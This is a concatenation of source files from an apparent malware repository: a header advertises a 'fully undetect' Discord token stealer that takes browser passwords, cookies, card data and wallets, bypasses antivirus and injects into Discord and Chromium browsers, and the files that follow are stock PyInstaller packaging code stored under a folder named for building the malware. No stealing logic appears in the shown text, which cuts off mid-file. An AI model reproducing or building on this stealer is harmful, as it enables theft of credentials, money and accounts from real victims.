Powerfull fully undetect Tokens Grabber/Stealer send to webhook discord, Steal: Browsers Passwords/Cookies/CC, Window Info, Wallets, Minecraft, Bypass Firewall/Antivirus, Discord Injection, Chromium Injection JS (Brave,Chrome,OperaGX,Opera,Vivaldi,Edge,yandex).
#-----------------------------------------------------------------------------
# Copyright (c) 2005-2023, PyInstaller Development Team.
#
# Distributed under the terms of the GNU General Public License (version 2
# or later) with exception for distributing the bootloader.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: (GPL-2.0-or-later WITH Bootloader-exception)
#-----------------------------------------------------------------------------

__all__ = ('HOMEPATH', 'PLATFORM', '__version__', 'DEFAULT_DISTPATH', 'DEFAULT_SPECPATH', 'DEFAULT_WORKPATH')

import os
import sys

from PyInstaller import compat
from PyInstaller.utils.git import get_repo_revision

# Note: Keep this variable as plain string so it could be updated automatically when doing a release.
__version__ = '6.0.0'

# Absolute path of this package's directory. Save this early so all submodules can use the absolute path. This is
# required for example if the current directory changes prior to loading the hooks.
PACKAGEPATH = os.path.abspath(os.path.dirname(__file__))

HOMEPATH = os.path.dirname(PACKAGEPATH)

# Update __version__ as necessary.
if os.path.exists(os.path.join(HOMEPATH, 'setup.py')):
    # PyInstaller is run directly from source without installation, or __version__ is called from 'setup.py'...
    if compat.getenv('PyInstaller_DO_RELEASE') == '1':
        # Suppress the git revision when doing a release.
        pass
    elif 'sdist' not in sys.argv:
        # and 'setup.py' was not called with 'sdist' argument. For creating source tarball we do not want git revision
        # in the filename.
        try:
            __version__ += get_repo_revision()
        except Exception:
            # Write to stderr because stdout is used for eval() statement in some subprocesses.
            sys.stderr.write('WARN: failed to parse git revision')
else:
    # PyInstaller was installed by `python setup.py install'.
    from importlib.metadata import version
    __version__ = version('PyInstaller')
# Default values of paths where to put files created by PyInstaller. If changing these, do not forget to update the
# help text for corresponding command-line options, defined in build_main.

# Where to put created .spec file.
DEFAULT_SPECPATH = os.getcwd()
# Where to put the final frozen application.
DEFAULT_DISTPATH = os.path.join(os.getcwd(), 'dist')
# Where to put all the temporary files; .log, .pyz, etc.
DEFAULT_WORKPATH = os.path.join(os.getcwd(), 'build')

PLATFORM = compat.system + '-' + compat.architecture
# Include machine name in path to bootloader for some machines (e.g., 'arm'). Explicitly avoid doing this on macOS,
# where we keep universal2 bootloaders in Darwin-64bit folder regardless of whether we are on x86_64 or arm64.
if compat.machine and not compat.is_darwin:
    PLATFORM += '-' + compat.machine
# Similarly, disambiguate musl Linux from glibc Linux.
if compat.is_musl:
    PLATFORM += '-musl'

ThiefCat_assets/MwlareBuilder/__init__.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2013-2023, PyInstaller Development Team.
#
# Distributed under the terms of the GNU General Public License (version 2
# or later) with exception for distributing the bootloader.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: (GPL-2.0-or-later WITH Bootloader-exception)
#-----------------------------------------------------------------------------
"""
Main command-line interface to PyInstaller.
"""
from __future__ import annotations

import argparse
import os
import platform
import sys
from collections import defaultdict

from PyInstaller import __version__
from PyInstaller import log as logging
# Note: do not import anything else until compat.check_requirements function is run!
from PyInstaller import compat

logger = logging.getLogger(__name__)

# Taken from https://stackoverflow.com/a/22157136 to format args more flexibly: any help text which beings with ``R|``
# will have all newlines preserved; the help text will be line wrapped. See
# https://docs.python.org/3/library/argparse.html#formatter-class.


# This is used by the ``--debug`` option.
class _SmartFormatter(argparse.HelpFormatter):
    def _split_lines(self, text, width):
        if text.startswith('R|'):
            # The underlying implementation of ``RawTextHelpFormatter._split_lines`` invokes this; mimic it.
            return text[2:].splitlines()
        else:
            # Invoke the usual formatter.
            return super()._split_lines(text, width)


def run_makespec(filenames, **opts):
    # Split pathex by using the path separator
    temppaths = opts['pathex'][:]
    pathex = opts['pathex'] = []
    for p in temppaths:
        pathex.extend(p.split(os.pathsep))

    import PyInstaller.building.makespec

    spec_file = PyInstaller.building.makespec.main(filenames, **opts)
    logger.info('wrote %s' % spec_file)
    return spec_file


def run_build(pyi_config, spec_file, **kwargs):
    import PyInstaller.building.build_main
    PyInstaller.building.build_main.main(pyi_config, spec_file, **kwargs)


def __add_options(parser):
    parser.add_argument(
        '-v',
        '--version',
        action='version',
        version=__version__,
        help='Show program version info and exit.',
    )


class _PyiArgumentParser(argparse.ArgumentParser):
    def __init__(self, *args, **kwargs):
        self._pyi_action_groups = defaultdict(list)
        super().__init__(*args, **kwargs)

    def _add_options(self, __add_options: callable, name: str = ""):
        """
        Mutate self with the given callable, storing any new actions added in a named group
        """
        n_actions_before = len(getattr(self, "_actions", []))
        __add_options(self)  # preserves old behavior
        new_actions = getattr(self, "_actions", [])[n_actions_before:]
        self._pyi_action_groups[name].extend(new_actions)

    def _option_name(self, action):
        """
        Get the option name(s) associated with an action

        For options that define both short and long names, this function will
        return the long names joined by "/"
        """
        longnames = [name for name in action.option_strings if name.startswith("--")]
        if longnames:
            name = "/".join(longnames)
        else:
            name = action.option_strings[0]
        return name

    def _forbid_options(self, args: argparse.Namespace, group: str, errmsg: str = ""):
        """Forbid options from a named action group"""
        options = defaultdict(str)
        for action in self._pyi_action_groups[group]:
            dest = action.dest
            name = self._option_name(action)
            if getattr(args, dest) is not self.get_default(dest):
                if dest in options:
                    options[dest] += "/"
                options[dest] += name

        # if any options from the forbidden group are not the default values,
        # the user must have passed them in, so issue an error report
        if options:
            sep = "\n  "
            bad = sep.join(options.values())
            if errmsg:
                errmsg = "\n" + errmsg
            raise SystemExit(f"option(s) not allowed:{sep}{bad}{errmsg}")


def generate_parser() -> _PyiArgumentParser:
    """
    Build an argparse parser for PyInstaller's main CLI.
    """

    import PyInstaller.building.build_main
    import PyInstaller.building.makespec
    import PyInstaller.log

    parser = _PyiArgumentParser(formatter_class=_SmartFormatter)
    parser.prog = "PyInstaller"

    parser._add_options(__add_options)
    parser._add_options(PyInstaller.building.makespec.__add_options, name="makespec")
    parser._add_options(PyInstaller.building.build_main.__add_options, name="build_main")
    parser._add_options(PyInstaller.log.__add_options, name="log")

    parser.add_argument(
        'filenames',
        metavar='scriptname',
        nargs='+',
        help="Name of scriptfiles to be processed or exactly one .spec file. If a .spec file is specified, most "
        "options are unnecessary and are ignored.",
    )

    return parser


def run(pyi_args: list | None = None, pyi_config: dict | None = None):
    """
    pyi_args     allows running PyInstaller programmatically without a subprocess
    pyi_config   allows checking configuration once when running multiple tests
    """
    compat.check_requirements()

    import PyInstaller.log

    old_sys_argv = sys.argv
    try:
        parser = generate_parser()
        if pyi_args is None:
            pyi_args = sys.argv[1:]
        try:
            index = pyi_args.index("--")
        except ValueError:
            index = len(pyi_args)
        args = parser.parse_args(pyi_args[:index])
        spec_args = pyi_args[index + 1:]
        PyInstaller.log.__process_options(parser, args)

        # Print PyInstaller version, Python version, and platform as the first line to stdout. This helps us identify
        # PyInstaller, Python, and platform version when users report issues.
        logger.info('PyInstaller: %s' % __version__)
        logger.info('Python: %s%s', platform.python_version(), " (conda)" if compat.is_conda else "")
        logger.info('Platform: %s' % platform.platform())

        # Skip creating .spec when .spec file is supplied.
        if args.filenames[0].endswith('.spec'):
            parser._forbid_options(
                args, group="makespec", errmsg="makespec options not valid when a .spec file is given"
            )
            spec_file = args.filenames[0]
        else:
            spec_file = run_makespec(**vars(args))

        sys.argv = [spec_file, *spec_args]
        run_build(pyi_config, spec_file, **vars(args))

    except KeyboardInterrupt:
        raise SystemExit("Aborted by user request.")
    except RecursionError:
        from PyInstaller import _recursion_too_deep_message
        _recursion_too_deep_message.raise_with_msg()
    finally:
        sys.argv = old_sys_argv


def _console_script_run():
    # Python prepends the main script's parent directory to sys.path. When PyInstaller is ran via the usual
    # `PyInstaller` CLI entry point, this directory is $pythonprefix/bin which should not be in sys.path.
    if os.path.basename(sys.path[0]) in ("bin", "Scripts"):
        sys.path.pop(0)
    run()


if __name__ == '__main__':
    run()

ThiefCat_assets/MwlareBuilder/__main__.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2005-2023, PyInstaller Development Team.
#
# Distributed under the terms of the GNU General Public License (version 2
# or later) with exception for distributing the bootloader.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: (GPL-2.0-or-later WITH Bootloader-exception)
#-----------------------------------------------------------------------------


class PyiBlockCipher:
    def __init__(self, key=None):
        from PyInstaller.exceptions import RemovedCipherFeatureError
        raise RemovedCipherFeatureError("Please remove cipher and block_cipher parameters from your spec file.")

ThiefCat_assets/MwlareBuilder/archive/pyz_crypto.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2013-2023, PyInstaller Development Team.
#
# Distributed under the terms of the GNU General Public License (version 2
# or later) with exception for distributing the bootloader.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: (GPL-2.0-or-later WITH Bootloader-exception)
#-----------------------------------------------------------------------------
"""
Python-based CArchive (PKG) reader implementation. Used only in the archive_viewer utility.
"""

import os
import struct

from PyInstaller.loader.pyimod01_archive import ZlibArchiveReader, ArchiveReadError


class NotAnArchiveError(TypeError):
    pass


# Type codes for CArchive TOC entries
PKG_ITEM_BINARY = 'b'  # binary
PKG_ITEM_DEPENDENCY = 'd'  # runtime option
PKG_ITEM_PYZ = 'z'  # zlib (pyz) - frozen Python code
PKG_ITEM_ZIPFILE = 'Z'  # zlib (pyz) - frozen Python code
PKG_ITEM_PYPACKAGE = 'M'  # Python package (__init__.py)
PKG_ITEM_PYMODULE = 'm'  # Python module
PKG_ITEM_PYSOURCE = 's'  # Python script (v3)
PKG_ITEM_DATA = 'x'  # data
PKG_ITEM_RUNTIME_OPTION = 'o'  # runtime option
PKG_ITEM_SPLASH = 'l'  # splash resources


class CArchiveReader:
    """
    Reader for PyInstaller's CArchive (PKG) archive.
    """

    # Cookie - holds some information for the bootloader. C struct format definition. '!' at the beginning means network
    # byte order. C struct looks like:
    #
    #   typedef struct _cookie {
    #       char magic[8]; /* 'MEI\014\013\012\013\016' */
    #       uint32_t len;  /* len of entire package */
    #       uint32_t TOC;  /* pos (rel to start) of TableOfContents */
    #       int  TOClen;   /* length of TableOfContents */
    #       int  pyvers;   /* new in v4 */
    #       char pylibname[64];    /* Filename of Python dynamic library. */
    #   } COOKIE;
    #
    _COOKIE_MAGIC_PATTERN = b'MEI\014\013\012\013\016'

    _COOKIE_FORMAT = '!8sIIii64s'
    _COOKIE_LENGTH = struct.calcsize(_COOKIE_FORMAT)

    # TOC entry:
    #
    #   typedef struct _toc {
    #       int  structlen;  /* len of this one - including full len of name */
    #       uint32_t pos;    /* pos rel to start of concatenation */
    #       uint32_t len;    /* len of the data (compressed) */
    #       uint32_t ulen;   /* len of data (uncompressed) */
    #       char cflag;      /* is it compressed (really a byte) */
    #       char typcd;      /* type code -'b' binary, 'z' zlib, 'm' module,
    #                         * 's' script (v3),'x' data, 'o' runtime option  */
    #       char name[1];    /* the name to save it as */
    #                        /* starting in v5, we stretch this out to a mult of 16 */
    #   } TOC;
    #
    _TOC_ENTRY_FORMAT = '!iIIIBB'
    _TOC_ENTRY_LENGTH = struct.calcsize(_TOC_ENTRY_FORMAT)

    def __init__(self, filename):
        self._filename = filename
        self._start_offset = 0
        self._toc_offset = 0
        self._toc_length = 0

        self.toc = {}
        self.options = []

        # Load TOC
        with open(self._filename, "rb") as fp:
            # Find cookie MAGIC pattern
            cookie_start_offset = self._find_magic_pattern(fp, self._COOKIE_MAGIC_PATTERN)
            if cookie_start_offset == -1:
                raise ArchiveReadError("Could not find COOKIE magic pattern!")

            # Read the whole cookie
            fp.seek(cookie_start_offset, os.SEEK_SET)
            cookie_data = fp.read(self._COOKIE_LENGTH)

            magic, archive_length, toc_offset, toc_length, pyvers, pylib_name = \
                struct.unpack(self._COOKIE_FORMAT, cookie_data)

            # Compute start of the the archive
            self._start_offset = (cookie_start_offset + self._COOKIE_LENGTH) - archive_length

            # Verify that Python shared library name is set
            if not pylib_name:
                raise ArchiveReadError("Python shared library name not set in the archive!")

            # Read whole toc
            fp.seek(self._start_offset + toc_offset)
            toc_data = fp.read(toc_length)

            self.toc, self.options = self._parse_toc(toc_data)

    @staticmethod
    def _find_magic_pattern(fp, magic_pattern):
        # Start at the end of file, and scan back-to-start
        fp.seek(0, os.SEEK_END)
        end_pos = fp.tell()

        # Scan from back
        SEARCH_CHUNK_SIZE = 8192
        magic_offset = -1
        while end_pos >= len(magic_pattern):
            start_pos = max(end_pos - SEARCH_CHUNK_SIZE, 0)
            chunk_size = end_pos - start_pos
            # Is the remaining chunk large enough to hold the pattern?
            if chunk_size < len(magic_pattern):
                break
            # Read and scan the chunk
            fp.seek(start_pos, os.SEEK_SET)
            buf = fp.read(chunk_size)
            pos = buf.rfind(magic_pattern)
            if pos != -1:
                magic_offset = start_pos + pos
                break
            # Adjust search location for next chunk; ensure proper overlap
            end_pos = start_pos + len(magic_pattern) - 1

        return magic_offset

    @classmethod
    def _parse_toc(cls, data):
        options = []
        toc = {}
        cur_pos = 0
        while cur_pos < len(data):
            # Read and parse the fixed-size TOC entry header
            entry_length, entry_offset, data_length, uncompressed_length, compression_flag, typecode = \
                struct.unpack(cls._TOC_ENTRY_FORMAT, data[cur_pos:(cur_pos + cls._TOC_ENTRY_LENGTH)])
            cur_pos += cls._TOC_ENTRY_LENGTH
            # Read variable-length name
            name_length = entry_length - cls._TOC_ENTRY_LENGTH
            name, *_ = struct.unpack(f'{name_length}s', data[cur_pos:(cur_pos + name_length)])
            cur_pos += name_length
            # Name string may contain up to 15 bytes of padding
            name = name.rstrip(b'\0').decode('utf-8')

            typecode = chr(typecode)

            # The TOC should not contain duplicates, except for OPTION entries. Therefore, keep those
            # in a separate list. With options, the rest of the entries do not make sense, anyway.
            if typecode == 'o':
                options.append(name)
            else:
                toc[name] = (entry_offset, data_length, uncompressed_length, compression_flag, typecode)

        return toc, options

    def extract(self, name):
        """
        Extract data for the given entry name.
        """

        entry = self.toc.get(name)
        if entry is None:
            raise KeyError(f"No entry named {name} found in the archive!")

        entry_offset, data_length, uncompressed_length, compression_flag, typecode = entry
        with open(self._filename, "rb") as fp:
            fp.seek(self._start_offset + entry_offset, os.SEEK_SET)
            data = fp.read(data_length)

        if compression_flag:
            import zlib
            data = zlib.decompress(data)

        return data

    def open_embedded_archive(self, name):
        """
        Open new archive reader for the embedded archive.
        """

        entry = self.toc.get(name)
        if entry is None:
            raise KeyError(f"No entry named {name} found in the archive!")

        entry_offset, data_length, uncompressed_length, compression_flag, typecode = entry

        if typecode == PKG_ITEM_PYZ:
            # Open as embedded archive, without extraction.
            return ZlibArchiveReader(self._filename, self._start_offset + entry_offset)
        elif typecode == PKG_ITEM_ZIPFILE:
            raise NotAnArchiveError("Zipfile archives not supported yet!")
        else:
            raise NotAnArchiveError(f"Entry {name} is not a supported embedded archive!")


def pkg_archive_contents(filename, recursive=True):
    """
    List the contents of the PKG / CArchive. If `recursive` flag is set (the default), the contents of the embedded PYZ
    archive is included as well.

    Used by the tests.
    """

    contents = []

    pkg_archive = CArchiveReader(filename)
    for name, toc_entry in pkg_archive.toc.items():
        *_, typecode = toc_entry
        contents.append(name)
        if typecode == PKG_ITEM_PYZ and recursive:
            pyz_archive = pkg_archive.open_embedded_archive(name)
            for name in pyz_archive.toc.keys():
                contents.append(name)

    return contents

ThiefCat_assets/MwlareBuilder/archive/readers.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2005-2023, PyInstaller Development Team.
#
# Distributed under the terms of the GNU General Public License (version 2
# or later) with exception for distributing the bootloader.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: (GPL-2.0-or-later WITH Bootloader-exception)
#-----------------------------------------------------------------------------
"""
Utilities to create data structures for embedding Python modules and additional files into the executable.
"""

import marshal
import os
import shutil
import struct
import sys
import zlib

from PyInstaller.building.utils import get_code_object, strip_paths_in_code
from PyInstaller.compat import BYTECODE_MAGIC, is_win, strict_collect_mode
from PyInstaller.loader.pyimod01_archive import PYZ_ITEM_MODULE, PYZ_ITEM_NSPKG, PYZ_ITEM_PKG


class ZlibArchiveWriter:
    """
    Writer for PyInstaller's PYZ (ZlibArchive) archive. The archive is used to store collected byte-compiled Python
    modules, as individually-compressed entries.
    """
    _PYZ_MAGIC_PATTERN = b'PYZ\0'
    _HEADER_LENGTH = 12 + 5
    _COMPRESSION_LEVEL = 6  # zlib compression level

    def __init__(self, filename, entries, code_dict=None):
        """
        filename
            Target filename of the archive.
        entries
            An iterable containing entries in the form of tuples: (name, src_path, typecode), where `name` is the name
            under which the resource is stored (e.g., python module name, without suffix), `src_path` is name of the
            file from which the resource is read, and `typecode` is the Analysis-level TOC typecode (`PYMODULE`).
        code_dict
            Optional code dictionary containing code objects for analyzed/collected python modules.
        """
        code_dict = code_dict or {}

        with open(filename, "wb") as fp:
            # Reserve space for the header.
            fp.write(b'\0' * self._HEADER_LENGTH)

            # Write entries' data and collect TOC entries
            toc = []
            for entry in entries:
                toc_entry = self._write_entry(fp, entry, code_dict)
                toc.append(toc_entry)

            # Write TOC
            toc_offset = fp.tell()
            toc_data = marshal.dumps(toc)
            fp.write(toc_data)

            # Write header:
            #  - PYZ magic pattern (4 bytes)
            #  - python bytecode magic pattern (4 bytes)
            #  - TOC offset (32-bit int, 4 bytes)
            #  - 4 unused bytes
            fp.seek(0, os.SEEK_SET)

            fp.write(self._PYZ_MAGIC_PATTERN)
            fp.write(BYTECODE_MAGIC)
            fp.write(struct.pack('!i', toc_offset))

    @classmethod
    def _write_entry(cls, fp, entry, code_dict):
        name, src_path, typecode = entry
        assert typecode == 'PYMODULE'

        typecode = PYZ_ITEM_MODULE
        if src_path in ('-', None):
            # This is a NamespacePackage, modulegraph marks them by using the filename '-'. (But wants to use None,
            # so check for None, too, to be forward-compatible.)
            typecode = PYZ_ITEM_NSPKG
        else:
            src_basename, _ = os.path.splitext(os.path.basename(src_path))
            if src_basename == '__init__':
                typecode = PYZ_ITEM_PKG
        data = marshal.dumps(code_dict[name])

        # First compress, then encrypt.
        obj = zlib.compress(data, cls._COMPRESSION_LEVEL)

        # Create TOC entry
        toc_entry = (name, (typecode, fp.tell(), len(obj)))

        # Write data blob
        fp.write(obj)

        return toc_entry


class CArchiveWriter:
    """
    Writer for PyInstaller's CArchive (PKG) archive.

    This archive contains all files that are bundled within an executable; a PYZ (ZlibArchive), DLLs, Python C
    extensions, and other data files that are bundled in onefile mode.

    The archive can be read from either C (bootloader code at application's run-time) or Python (for debug purposes).
    """
    _COOKIE_MAGIC_PATTERN = b'MEI\014\013\012\013\016'

    # For cookie and TOC entry structure, see `PyInstaller.archive.readers.CArchiveReader`.
    _COOKIE_FORMAT = '!8sIIii64s'
    _COOKIE_LENGTH = struct.calcsize(_COOKIE_FORMAT)

    _TOC_ENTRY_FORMAT = '!iIIIBB'
    _TOC_ENTRY_LENGTH = struct.calcsize(_TOC_ENTRY_FORMAT)

    _COMPRESSION_LEVEL = 9  # zlib compression level

    def __init__(self, filename, entries, pylib_name):
        """
        filename
            Target filename of the archive.
        entries
            An iterable containing entries in the form of tuples: (dest_name, src_name, compress, typecode), where
            `dest_name` is the name under which the resource is stored in the archive (and name under which it is
            extracted at runtime), `src_name` is name of the file from which the resouce is read, `compress` is a
            boolean compression flag, and `typecode` is the Analysis-level TOC typecode.
        pylib_name
            Name of the python shared library.
        """
        self._collected_names = set()  # Track collected names for strict package mode.

        with open(filename, "wb") as fp:
            # Write entries' data and collect TOC entries
            toc = []
            for entry in entries:
                toc_entry = self._write_entry(fp, entry)
                toc.append(toc_entry)

            # Write TOC
            toc_offset = fp.tell()
            toc_data = self._serialize_toc(toc)
            toc_length = len(toc_data)

            fp.write(toc_data)

            # Write cookie
            archive_length = toc_offset + toc_length + self._COOKIE_LENGTH
            pyvers = sys.version_info[0] * 100 + sys.version_info[1]
            cookie_data = struct.pack(
                self._COOKIE_FORMAT,
                self._COOKIE_MAGIC_PATTERN,
                archive_length,
                toc_offset,
                toc_length,
                pyvers,
                pylib_name.encode('ascii'),
            )

            fp.write(cookie_data)

    def _write_entry(self, fp, entry):
        dest_name, src_name, compress, typecode = entry

        # Write OPTION entries as-is, without normalizing them. This also exempts them from duplication check,
        # allowing them to be specified multiple times.
        if typecode == 'o':
            return self._write_blob(fp, b"", dest_name, typecode)

        # Ensure forward slashes in paths are on Windows converted to back slashes '\\', as on Windows the bootloader
        # works only with back slashes.
        dest_name = os.path.normpath(dest_name)
        if is_win and os.path.sep == '/':
            # When building under MSYS, the above path normalization uses Unix-style separators, so replace them
            # manually.
            dest_name = dest_name.replace(os.path.sep, '\\')

        # Strict pack/collect mode: keep track of the destination names, and raise an error if we try to add a duplicate
        # (a file with same destination name, subject to OS case normalization rules).
        if strict_collect_mode:
            normalized_dest = None
            if typecode in ('s', 'm', 'M'):
                # Exempt python source scripts and modules from the check.
                pass
            else:
                # Everything else; normalize the case
                normalized_dest = os.path.normcase(dest_name)
            # Check for existing entry, if applicable
            if normalized_dest:
                if normalized_dest in self._collected_names:
                    raise ValueError(
                        f"Attempting to collect a duplicated file into CArchive: {normalized_dest} (type: {typecode})"
                    )
                self._collected_names.add(normalized_dest)

        if typecode == 'd':
            # Dependency; merge src_name (= reference path prefix) and dest_name (= name) into single-string format that
            # is parsed by bootloader.
            return self._write_blob(fp, b"", f"{src_name}:{dest_name}", typecode)
        elif typecode == 's':
            # If it is a source code file, compile it to a code object and marshal the object, so it can be unmarshalled
            # by the bootloader.
            code = get_code_object(dest_name, src_name)
            code = strip_paths_in_code(code)
            return self._write_blob(fp, marshal.dumps(code), dest_name, typecode, compress=compress)
        elif typecode in ('m', 'M'):
            # Read the PYC file
            with open(src_name, "rb") as in_fp:
                data = in_fp.read()
            assert data[:4] == BYTECODE_MAGIC
            # Skip the PYC header, load the code object.
            code = marshal.loads(data[16:])
            code = strip_paths_in_code(code)
            # These module entries are loaded and executed within the bootloader, which requires only the code
            # object, without the PYC header.
            return self._write_blob(fp, marshal.dumps(code), dest_name, typecode, compress=compress)
        elif typecode == 'n':
            # Symbolic link; store target name (as NULL-terminated string)
            data = src_name.encode('utf-8') + b'\x00'
            return self._write_blob(fp, data, dest_name, typecode, compress=compress)
        else:
            return self._write_file(fp, src_name, dest_name, typecode, compress=compress)

    def _write_blob(self, out_fp, blob: bytes, dest_name, typecode, compress=False):
        """
        Write the binary contents (**blob**) of a small file to the archive and return the corresponding CArchive TOC
        entry.
        """
        data_offset = out_fp.tell()
        data_length = len(blob)
        if compress:
            blob = zlib.compress(blob, level=self._COMPRESSION_LEVEL)
        out_fp.write(blob)

        return (data_offset, len(blob), data_length, int(compress), typecode, dest_name)

    def _write_file(self, out_fp, src_name, dest_name, typecode, compress=False):
        """
        Stream copy a large file into the archive and return the corresponding CArchive TOC entry.
        """
        data_offset = out_fp.tell()
        data_length = os.stat(src_name).st_size
        with open(src_name, 'rb') as in_fp:
            if compress:
                tmp_buffer = bytearray(16 * 1024)
                compressor = zlib.compressobj(self._COMPRESSION_LEVEL)
                while True:
                    num_read = in_fp.readinto(tmp_buffer)
                    if not num_read:
                        break
                    out_fp.write(compressor.compress(tmp_buffer[:num_read]))
                out_fp.write(compressor.flush())
            else:
                shutil.copyfileobj(in_fp, out_fp)

        return (data_offset, out_fp.tell() - data_offset, data_length, int(compress), typecode, dest_name)

    @classmethod
    def _serialize_toc(cls, toc):
        serialized_toc = []
        for toc_entry in toc:
            data_offset, compressed_length, data_length, compress, typecode, name = toc_entry

            # Encode names as UTF-8. This should be safe as standard python modules only contain ASCII-characters (and
            # standard shared libraries should have the same), and thus the C-code still can handle this correctly.
            name = name.encode('utf-8')
            name_length = len(name) + 1  # Add 1 for string-terminating zero byte.

            # Ensure TOC entries are aligned on 16-byte boundary, so they can be read by bootloader (C code) on
            # platforms with strict data alignment requirements (for example linux on `armhf`/`armv7`, such as 32-bit
            # Debian Buster on Raspberry Pi).
            entry_length = cls._TOC_ENTRY_LENGTH + name_length
            if entry_length % 16 != 0:
                padding_length = 16 - (entry_length % 16)
                name_length += padding_length

            # Serialize
            serialized_entry = struct.pack(
                cls._TOC_ENTRY_FORMAT + f"{name_length}s",  # "Ns" format automatically pads the string with zero bytes.
                cls._TOC_ENTRY_LENGTH + name_length,
                data_offset,
                compressed_length,
                data_length,
                compress,
                ord(typecode),
                name,
            )
            serialized_toc.append(serialized_entry)

        return b''.join(serialized_toc)


class SplashWriter:
    """
    Writer for the splash screen resources archive.

    The resulting archive is added as an entry into the CArchive with the typecode PKG_ITEM_SPLASH.
    """
    # This struct describes the splash resources as it will be in an buffer inside the bootloader. All necessary parts
    # are bundled, the *_len and *_offset fields describe the data beyond this header definition.
    # Whereas script and image fields are binary data, the requirements fields describe an array of strings. Each string
    # is null-terminated in order to easily iterate over this list from within C.
    #
    #   typedef struct _splash_data_header {
    #       char tcl_libname[16];  /* Name of tcl library, e.g. tcl86t.dll */
    #       char tk_libname[16];   /* Name of tk library, e.g. tk86t.dll */
    #       char tk_lib[16];       /* Tk Library generic, e.g. "tk/" */
    #       char rundir[16];       /* temp folder inside extraction path in
    #                               * which the dependencies are extracted */
    #
    #       int script_len;        /* Length of the script */
    #       int script_offset;     /* Offset (rel to start) of the script */
    #
    #       int image_len;         /* Length of the image data */
    #       int image_offset;      /* Offset (rel to start) of the image */
    #
    #       int requirements_len;
    #       int requirements_offset;
    #
    #   } SPLASH_DATA_HEADER;
    #
    _HEADER_FORMAT = '!16s 16s 16s 16s ii ii ii'
    _HEADER_LENGTH = struct.calcsize(_HEADER_FORMAT)

    # The created archive is compressed by the CArchive, so no need to compress the data here.

    def __init__(self, filename, name_list, tcl_libname, tk_libname, tklib, rundir, image, script):
        """
        Writer for splash screen resources that are bundled into the CArchive as a single archive/entry.

        :param filename: The filename of the archive to create
        :param name_list: List of filenames for the requirements array
        :param str tcl_libname: Name of the tcl shared library file
        :param str tk_libname: Name of the tk shared library file
        :param str tklib: Root of tk library (e.g. tk/)
        :param str rundir: Unique path to extract requirements to
        :param Union[str, bytes] image: Image like object
        :param str script: The tcl/tk script to execute to create the screen.
        """

        # Ensure forward slashes in dependency names are on Windows converted to back slashes '\\', as on Windows the
        # bootloader works only with back slashes.
        def _normalize_filename(filename):
            filename = os.path.normpath(filename)
            if is_win and os.path.sep == '/':
                # When building under MSYS, the above path normalization uses Unix-style separators, so replace them
                # manually.
                filename = filename.replace(os.path.sep, '\\')
            return filename

        name_list = [_normalize_filename(name) for name in name_list]

        with open(filename, "wb") as fp:
            # Reserve space for the header.
            fp.write(b'\0' * self._HEADER_LENGTH)

            # Serialize the requirements list. This list (more an array) contains the names of all files the bootloader
            # needs to extract before the splash screen can be started. The implementation terminates every name with a
            # null-byte, that keeps the list short memory wise and makes it iterable from C.
            requirements_len = 0
            requirements_offset = fp.tell()
            for name in name_list:
                name = name.encode('utf-8') + b'\0'
                fp.write(name)
                requirements_len += len(name)

            # Write splash script
            script_offset = fp.tell()
            script_len = len(script)
            fp.write(script.encode("utf-8"))

            # Write splash image. If image is a bytes buffer, it is written directly into the archive. Otherwise, it
            # is assumed to be a path and the file is copied into the archive.
            image_offset = fp.tell()
            if isinstance(image, bytes):
                # Image was converted by PIL/Pillow and is already in buffer
                image_len = len(image)
                fp.write(image)
            else:
                # Read image into buffer
                with open(image, 'rb') as image_fp:
                    image_data = image_fp.read()
                image_len = len(image_data)
                fp.write(image_data)
                del image_data

            # Write header
            header_data = struct.pack(
                self._HEADER_FORMAT,
                tcl_libname.encode("utf-8"),
                tk_libname.encode("utf-8"),
                tklib.encode("utf-8"),
                rundir.encode("utf-8"),
                script_len,
                script_offset,
                image_len,
                image_offset,
                requirements_len,
                requirements_offset,
            )

            fp.seek(0, os.SEEK_SET)
            fp.write(header_data)

ThiefCat_assets/MwlareBuilder/archive/writers.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2005-2023, PyInstaller Development Team.
#
# Distributed under the terms of the GNU General Public License (version 2
# or later) with exception for distributing the bootloader.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: (GPL-2.0-or-later WITH Bootloader-exception)
#-----------------------------------------------------------------------------
"""
This module contains classes that are available for the .spec files.

Spec file is generated by PyInstaller. The generated code from .spec file
is a way how PyInstaller does the dependency analysis and creates executable.
"""

import os
import subprocess
import time
import shutil
from operator import itemgetter

from PyInstaller import HOMEPATH, PLATFORM
from PyInstaller import log as logging
from PyInstaller.archive.writers import CArchiveWriter, ZlibArchiveWriter
from PyInstaller.building.datastruct import Target, _check_guts_eq, normalize_pyz_toc, normalize_toc
from PyInstaller.building.utils import (
    _check_guts_toc, _make_clean_directory, _rmtree, process_collected_binary, get_code_object, strip_paths_in_code,
    compile_pymodule
)
from PyInstaller.building.splash import Splash  # argument type validation in EXE
from PyInstaller.compat import is_cygwin, is_darwin, is_linux, is_win, strict_collect_mode
from PyInstaller.depend import bindepend
from PyInstaller.depend.analysis import get_bootstrap_modules
import PyInstaller.utils.misc as miscutils

logger = logging.getLogger(__name__)

if is_win:
    from PyInstaller.utils.win32 import (icon, versioninfo, winmanifest, winresource, winutils)

if is_darwin:
    import PyInstaller.utils.osx as osxutils


class PYZ(Target):
    """
    Creates a zlib-based PYZ archive that contains byte-compiled pure Python modules.
    """
    def __init__(self, *tocs, **kwargs):
        """
        tocs
            One or more TOC (Table of Contents) lists, usually an `Analysis.pure`.

        kwargs
            Possible keyword arguments:

            name
                A filename for the .pyz. Normally not needed, as the generated name will do fine.
        """
        if kwargs.get("cipher"):
            from PyInstaller.exceptions import RemovedCipherFeatureError
            raise RemovedCipherFeatureError(
